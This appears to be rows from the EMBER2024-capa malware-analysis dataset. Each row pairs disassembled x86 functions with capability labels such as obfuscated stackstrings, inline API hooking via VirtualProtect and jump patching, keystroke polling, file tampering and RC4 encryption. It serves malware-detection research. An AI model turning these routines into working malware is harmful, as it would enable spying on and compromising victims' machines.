joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001001
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push esi
push edi
mov edi, edi
nop
mov ecx, ecx
nop
nop
nop
nop
and dword [ebp - 4], 0
lea eax, [ebp - 0x2c]
mov esi, 0x10005060
push eax
push esi
mov dword [ebp - 0x2c], 0x4131377b
mov dword [ebp - 0x28], 0x44433837
mov dword [ebp - 0x24], 0x34452d34
mov dword [ebp - 0x20], 0x342d3037
mov dword [ebp - 0x1c], 0x2d383161
mov dword [ebp - 0x18], 0x37353438
mov dword [ebp - 0x14], 0x4530452d
mov dword [ebp - 0x10], 0x33383230
mov dword [ebp - 0xc], 0x30354444
mov dword [ebp - 8], 0x7d37
call sub.MSVCRT.dll_strcpy
pop ecx
mov eax, esi
pop ecx
pop edi
pop esi
leave
ret

Function at 0x1000187e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
and dword [ebp - 4], 0
push edi
push 0x10005014
mov dword [ebp - 0x24], 0x613f7325
mov dword [ebp - 0x20], 0x7526343d
mov dword [ebp - 0x1c], 0x2673253d
mov dword [ebp - 0x18], 0x73253d67
mov dword [ebp - 0x14], 0x253d7326
mov dword [ebp - 0x10], 0x70612673
mov dword [ebp - 0xc], 0x646e6570
mov dword [ebp - 8], 0x64253d
call fcn.1000376c
push eax
lea eax, [ebp - 0x224]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x224]
add esp, 0xc
test eax, eax
je 0x1000196c
lea eax, [ebp - 0x224]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x1000196c
push dword [ebp + 8]
lea eax, [ebp - 0x224]
push 0x100051d4
push 0x100051a4
push 0x10005324
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x224]
push eax
call fcn.10002f86
mov edi, eax
add esp, 0x20
test edi, edi
je 0x1000196c
push edi
call sub.MSVCRT.dll_strlen
cmp eax, 6
pop ecx
jne 0x10001964
push esi
mov esi, 0x1000524c
push edi
push esi
call sub.MSVCRT.dll_strcpy
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 0xc
mov eax, esi
pop esi
jmp 0x1000196e
push edi
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
xor eax, eax
pop edi
leave
ret

Function at 0x10001a2f
Capabilities:
Create thread

Disassembly:
push edi
push 0x1000502c
call fcn.10001ad1
xor edi, edi
pop ecx
cmp eax, edi
je 0x10001a4e
push eax
push 0x10005324
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 0x10005028
call fcn.10001ad1
cmp eax, edi
pop ecx
je 0x10001a6a
push eax
push 0x1000520c
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push esi
push 0x10005024
call fcn.10001ad1
cmp eax, edi
pop ecx
mov esi, 0x10005444
je 0x10001a88
push eax
push esi
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push str.4321__
call fcn.10001ad1
cmp eax, edi
pop ecx
je 0x10001aa4
push eax
push 0x1000534c
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push esi
call sub.MSVCRT.dll_strlen
pop ecx
pop esi
test eax, eax
jbe 0x10001aba
mov dword [0x10005450], 1
call fcn.10001b5d
push edi
push edi
push edi
push 0x1000181f
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
ret
Function at 0x10001ad1
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
and dword [ebp - 8], 0
lea eax, [ebp - 0x118]
push eax
push 0x104
mov dword [ebp - 0x14], 0x78687171
mov dword [ebp - 0x10], 0x2e676663
mov dword [ebp - 0xc], 0x746164
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x118]
push eax
call sub.MSVCRT.dll_strcat
push dword [ebp + 8]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.10002732
add esp, 0x14
cmp eax, 1
jl 0x10001b59
push esi
push edi
mov edi, 0x80
mov esi, 0x10005354
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
push edi
push dword [ebp - 4]
push esi
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x18
mov eax, esi
pop edi
pop esi
leave
ret
xor eax, eax
leave
ret

Function at 0x10001bb2
Capabilities:
Contain obfuscated stackstrings
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
xor eax, eax
push esi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x40]
push edi
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push eax
push 0x28
mov edi, 0x10005030
push 0x100051a4
lea eax, [ebp - 0x18]
push edi
push eax
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 0x40], 0x6f635c2e
mov dword [ebp - 0x3c], 0x6769666e
mov dword [ebp - 0x38], 0x696e692e
mov dword [ebp - 0x18], 0x49474552
mov dword [ebp - 0x14], 0x4e4f
mov dword [ebp - 0x24], 0x4c524f57
mov dword [ebp - 0x20], 0x44
mov dword [ebp - 0xc], 0x6974704f
mov dword [ebp - 8], 0x6e6f
mov dword [ebp - 0x30], 0x49474f4c
mov dword [ebp - 0x2c], 0x4e
call esi
lea eax, [ebp - 0x40]
push eax
push 0x28
push 0x100051d4
lea eax, [ebp - 0x24]
push edi
push eax
lea eax, [ebp - 0xc]
push eax
call esi
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x30]
push 1
push eax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
pop edi
mov dword [0x10005198], eax
pop esi
leave
ret
Function at 0x10002489
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
and dword [ebp - 4], 0
lea eax, [ebp - 0x1a0]
push esi
push eax
push 0x104
mov dword [ebp - 0x10], 0x78687171
mov dword [ebp - 0xc], 0x2e676663
mov dword [ebp - 8], 0x746164
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x1a0]
push eax
call sub.MSVCRT.dll_strcat
push 0x8c
lea eax, [ebp - 0x9c]
push 0
push eax
call sub.MSVCRT.dll_memset
mov esi, dword [sym.imp.MSVCRT.dll_strncpy]
push 8
push dword [ebp + 8]
lea eax, [ebp - 0x18]
push eax
call esi
push 0x80
lea eax, [ebp - 0x9c]
push dword [ebp + 0xc]
push eax
call esi
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x1a0]
push eax
call fcn.10002a4e
add esp, 0x34
pop esi
leave
ret

Function at 0x1000252c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
and dword [ebp - 4], 0
push esi
push dword [ebp + 8]
mov esi, 0x1000534c
mov dword [ebp - 0x14], 0x613f7325
mov dword [ebp - 0x10], 0x7526353d
push esi
mov dword [ebp - 0xc], 0x2673253d
mov dword [ebp - 8], 0x73253d76
call sub.MSVCRT.dll_strcpy
push esi
push str.4321__
call fcn.10002489
add esp, 0x10
cmp dword [0x1000544c], 0
je 0x100025e9
push 0x10005014
call fcn.1000376c
push eax
lea eax, [ebp - 0x214]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x214]
add esp, 0xc
test eax, eax
je 0x100025e9
lea eax, [ebp - 0x214]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x100025e9
push esi
lea eax, [ebp - 0x214]
push 0x10005324
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x214]
push eax
call fcn.10002f86
add esp, 0x18
test eax, eax
je 0x100025e9
push eax
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
pop esi
leave
ret 4

Function at 0x10002613
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 1
call fcn.1000187e
test eax, eax
pop ecx
je 0x1000264e
and dword [ebp - 4], 0
lea ecx, [ebp - 0xc]
push ecx
push eax
mov dword [ebp - 0xc], 0x32423141
mov dword [ebp - 8], 0x3343
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x1000264e
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.10001b5d
push 0x10005324
push 0x1000502c
call fcn.10002489
push 0x1000520c
push 0x10005028
call fcn.10002489
add esp, 0x10
leave
ret
Function at 0x10002a4e
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
push ebx
push edi
mov edi, edi
nop
mov ecx, ecx
nop
nop
nop
nop
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.1000298e
pop ecx
test eax, eax
pop ecx
je 0x10002a7b
push 1
pop eax
jmp 0x10002be5
mov edi, edi
nop
mov ecx, ecx
nop
nop
nop
nop
xor ebx, ebx
push ebx
push ebx
push 4
push ebx
push 1
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x10002aaa
xor eax, eax
jmp 0x10002be5
push esi
mov edi, edi
nop
mov ecx, ecx
nop
nop
nop
nop
mov esi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 2
push ebx
push 0xfffffffffffffffc
push eax
call esi
lea eax, [ebp - 4]
push ebx
push eax
lea eax, [ebp - 0xc]
push 4
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edi, edi
nop
mov ecx, ecx
nop
nop
nop
nop
cmp dword [ebp - 0xc], 0xdd4a3308
mov ebx, 0x8c
push 2
jne 0x10002b1c
xor edi, edi
push edi
push 0xfffffffffffffff8
push dword [ebp + 8]
call esi
lea eax, [ebp - 4]
push edi
push eax
lea eax, [ebp - 8]
push 4
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
add dword [ebp - 8], ebx
push 2
push edi
push 0xfffffffffffffff8
push dword [ebp + 8]
call esi
jmp 0x10002b2c
push 0
push 0
push dword [ebp + 8]
call esi
mov dword [ebp - 8], 0x94
mov esi, dword [ebp + 0xc]
push 0x23
pop ecx
lea edi, [ebp - 0x98]
lea eax, [ebp - 0x98]
rep movsd dword es:[edi], dword [esi]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push 0x7f
pop ecx
sub ecx, eax
lea eax, [ebp - 0x98]
push ecx
push fcn.10002a4e
push eax
call sub.MSVCRT.dll_strlen
pop ecx
lea eax, [ebp + eax - 0x97]
push eax
call sub.MSVCRT.dll_memcpy
mov esi, 0x1000503c
push esi
call sub.MSVCRT.dll_strlen
push eax
push esi
lea eax, [ebp - 0x98]
push ebx
push eax
call fcn.10002ddd
add esp, 0x20
mov edi, edi
nop
mov ecx, ecx
nop
nop
nop
nop
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 4]
push 0
push eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x98]
push eax
push ebx
call esi
lea eax, [ebp - 4]
push 0
push eax
lea eax, [ebp - 8]
push 4
push eax
push ebx
call esi
mov dword [ebp - 0xc], 0xdd4a3308
mov edi, edi
nop
mov ecx, ecx
nop
nop
nop
nop
lea eax, [ebp - 4]
push 0
push eax
lea eax, [ebp - 0xc]
push 4
push eax
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop esi
pop edi
pop ebx
leave
ret
Function at 0x10002be9
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100040e8
push 0x10003a90
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x40
mov edi, dword [ebp + 0x10]
push edi
mov esi, dword [ebp + 8]
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call ebx
lea eax, [edi + 5]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x1c], eax
push edi
push esi
push eax
call sub.MSVCRT.dll_memcpy
mov ecx, dword [ebp - 0x1c]
lea eax, [ecx + edi]
mov byte [eax], 0xe9
mov edx, esi
sub edx, ecx
sub edx, 5
mov dword [eax + 1], edx
mov byte [esi], 0xe9
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [edi - 5]
push eax
push 0x90
lea eax, [esi + 5]
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x20]
push edi
push esi
call ebx
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
jmp 0x10002c9e
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10002cad
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100040f8
push 0x10003a90
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
lea eax, [ebp - 0x1c]
push eax
push 0x40
mov ebx, dword [ebp + 0x10]
push ebx
mov esi, dword [ebp + 8]
push esi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call edi
mov byte [esi], 0xe9
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [ebx - 5]
push eax
push 0x90
lea eax, [esi + 5]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x1c]
push ebx
push esi
call edi
or dword [ebp - 4], 0xffffffff
push 1
pop eax
jmp 0x10002d31
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10002da4
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, edi
nop
mov ecx, ecx
nop
nop
nop
nop
mov edx, dword [ebp + 8]
xor eax, eax
test edx, edx
je 0x10002dda
mov edi, edi
nop
mov ecx, ecx
nop
nop
nop
nop
cmp word [edx], 0x5a4d
jne 0x10002dda
mov ecx, dword [edx + 0x3c]
add ecx, edx
cmp dword [ecx], 0x4550
jne 0x10002dda
mov eax, dword [ecx + 0x50]
pop edi
pop ebp
ret
Function at 0x10003898
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
mov ebx, 0x43434343
push esi
push edi
mov dword [ebp - 0x28], 0x2150702
mov dword [ebp - 0x24], 0x71700a13
mov dword [ebp - 0x20], 0x2f2f276d
mov dword [ebp - 0x1c], ebx
mov edi, edi
nop
mov ecx, ecx
nop
nop
nop
nop
mov esi, 0x10005058
push 1
push esi
lea eax, [ebp - 0x28]
push 0x10
push eax
call fcn.10002ddd
mov dword [ebp - 0xc], 0x242611
mov dword [ebp - 8], 0x26302c2f
mov dword [ebp - 4], 0x433a2608
mov edi, edi
nop
mov ecx, ecx
nop
nop
nop
nop
push 1
push esi
lea eax, [ebp - 0xc]
push 0xc
push eax
call fcn.10002ddd
mov dword [ebp - 0x38], 0x242611
mov dword [ebp - 0x34], 0x37222631
mov dword [ebp - 0x30], 0x3a260826
mov dword [ebp - 0x2c], 0x43434302
mov edi, edi
nop
mov ecx, ecx
nop
nop
nop
nop
push 1
push esi
lea eax, [ebp - 0x38]
push 0x10
push eax
call fcn.10002ddd
mov dword [ebp - 0x18], 0xc242611
mov dword [ebp - 0x14], 0x82d2633
mov dword [ebp - 0x10], 0x43023a26
mov edi, edi
nop
mov ecx, ecx
nop
nop
nop
nop
push 1
push esi
lea eax, [ebp - 0x18]
push 0xc
push eax
call fcn.10002ddd
add esp, 0x40
mov dword [ebp - 0x6c], 0x12242611
mov dword [ebp - 0x68], 0x3a312636
mov dword [ebp - 0x64], 0x362f2215
mov dword [ebp - 0x60], 0x23b0626
mov dword [ebp - 0x5c], ebx
mov edi, edi
nop
mov ecx, ecx
nop
nop
nop
nop
push 1
push esi
lea eax, [ebp - 0x6c]
push 0x14
push eax
call fcn.10002ddd
mov dword [ebp - 0x48], 0x10242611
mov dword [ebp - 0x44], 0x22153726
mov dword [ebp - 0x40], 0x226362f
mov dword [ebp - 0x3c], ebx
mov edi, edi
nop
mov ecx, ecx
nop
nop
nop
nop
push 1
push esi
lea eax, [ebp - 0x48]
push 0x10
push eax
call fcn.10002ddd
mov dword [ebp - 0x58], 0x10242611
mov dword [ebp - 0x54], 0x22153726
mov dword [ebp - 0x50], 0x626362f
mov dword [ebp - 0x4c], 0x4343023b
mov edi, edi
nop
mov ecx, ecx
nop
nop
nop
nop
push 1
push esi
lea eax, [ebp - 0x58]
push 0x10
push eax
call fcn.10002ddd
add esp, 0x30
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
lea eax, [ebp - 0xc]
push eax
push edi
call esi
mov dword [0x1000579c], eax
lea eax, [ebp - 0x38]
push eax
push edi
call esi
mov dword [0x10005794], eax
lea eax, [ebp - 0x18]
push eax
push edi
call esi
mov dword [0x1000578c], eax
lea eax, [ebp - 0x6c]
push eax
push edi
call esi
mov dword [0x10005790], eax
lea eax, [ebp - 0x48]
push eax
push edi
call esi
mov dword [0x10005788], eax
lea eax, [ebp - 0x58]
push eax
push edi
call esi
pop edi
pop esi
mov dword [0x10005798], eax
pop ebx
leave
ret
Function at 0x462620
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x50c5bb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004fdb5a
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4626a2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004fb507
mov eax, dword [eax]
push 0x533e2c
push eax
call fcn.004eccb4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004fdde5
test bl, bl
je 0x4626a2
push 0x533e2c
lea ecx, [esp + 0xc]
call fcn.004fe175
push 0x533e38
lea ecx, [esp + 0xc]
call fcn.004fe175
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4626de
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004fdde5
jmp 0x4627a9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x462762
lea edx, [esp + 0x7c]
push 0x533e34
push edx
call fcn.004eccb4
add esp, 8
test eax, eax
je 0x462762
lea eax, [esp + 0x7c]
push 0x533e30
push eax
call fcn.004eccb4
add esp, 8
test eax, eax
je 0x462762
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4626f2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004fdde5
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x462fa0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x463002
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x463010
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x50c63b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x5436d0]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x463148
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x463076
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004fdde5
xor eax, eax
jmp 0x4631bf
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004fdf22
push esi
lea ecx, [esp + 0xc]
call fcn.004fe1b1
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x46319d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocString
call fcn.00462fa0
test eax, eax
jne 0x46319d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocString
mov ecx, edi
call fcn.00462fa0
test eax, eax
jne 0x46319d
lea eax, [esp + 0x14]
push 0x533e48
push eax
call fcn.004ede00
mov esi, eax
add esp, 8
test esi, esi
jne 0x46317c
lea ecx, [esp + 0x14]
push 0x533e44
push ecx
call fcn.004edd80
mov esi, eax
add esp, 8
test esi, esi
jne 0x46317c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x46317f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004fded2
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x46308e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004fdde5
xor eax, eax
jmp 0x4631bf
mov byte [esi], 0
push 0x533e40
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004fdde5
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x474830
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x47489e
cmp si, 0x69
ja 0x47489e
add esi, 0xffd0
cmp si, 0x11
je 0x47486e
push 0x11
call edi
test ax, ax
jge 0x47486e
or esi, 0x2000
cmp si, 0x10
je 0x474883
push 0x10
call edi
test ax, ax
jge 0x474883
or esi, 0x4000
cmp si, 0x12
je 0x474898
push 0x12
call edi
test ax, ax
jge 0x474898
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x4748ab
mov esi, 0xbd
jmp 0x47485f
cmp si, 0x6e
jne 0x4748b8
mov esi, 0xbe
jmp 0x47485f
cmp si, 0x6f
jne 0x474859
mov esi, 0xbf
jmp 0x47485f

Function at 0x476240
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x554170]
xor edx, edx
cmp eax, edx
jne 0x476266
xor eax, eax
mov byte [eax + 0x554070], al
inc eax
cmp eax, 0x100
jl 0x47624e
mov dword [0x554170], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x554070
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4762f7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4762ca
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x476298
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x476300
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x476353
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x47633a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret